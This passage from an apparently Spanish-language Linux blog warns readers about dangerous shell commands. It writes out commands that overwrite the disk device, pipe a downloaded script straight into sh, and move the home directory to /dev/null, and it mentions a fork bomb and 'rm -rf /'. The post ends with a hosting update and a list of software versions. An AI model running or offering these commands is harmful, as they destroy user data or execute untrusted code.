Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.

No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.

any_command > /dev/sda

Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.

wget http://some_untrusted_source -O- | sh

Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web ‘x’ y posteriormente lo ejecuta..

El riesgo corre en que no sabemos que estamos descargando.

mv /home/yourhomedirectory/* /dev/null

Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD

Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):

Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.

En Youtube andan varios vídeos en su mayoría del famoso comando rm -rf /:

Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..

Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).

Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog

• linux kernel 2.6.25-rc5
• GCC 4.3 final
• GNOME 2.22 final
• Compiz 0.7.2
• KDE 4.0.2/3.5.9
• Zypper 0.10.2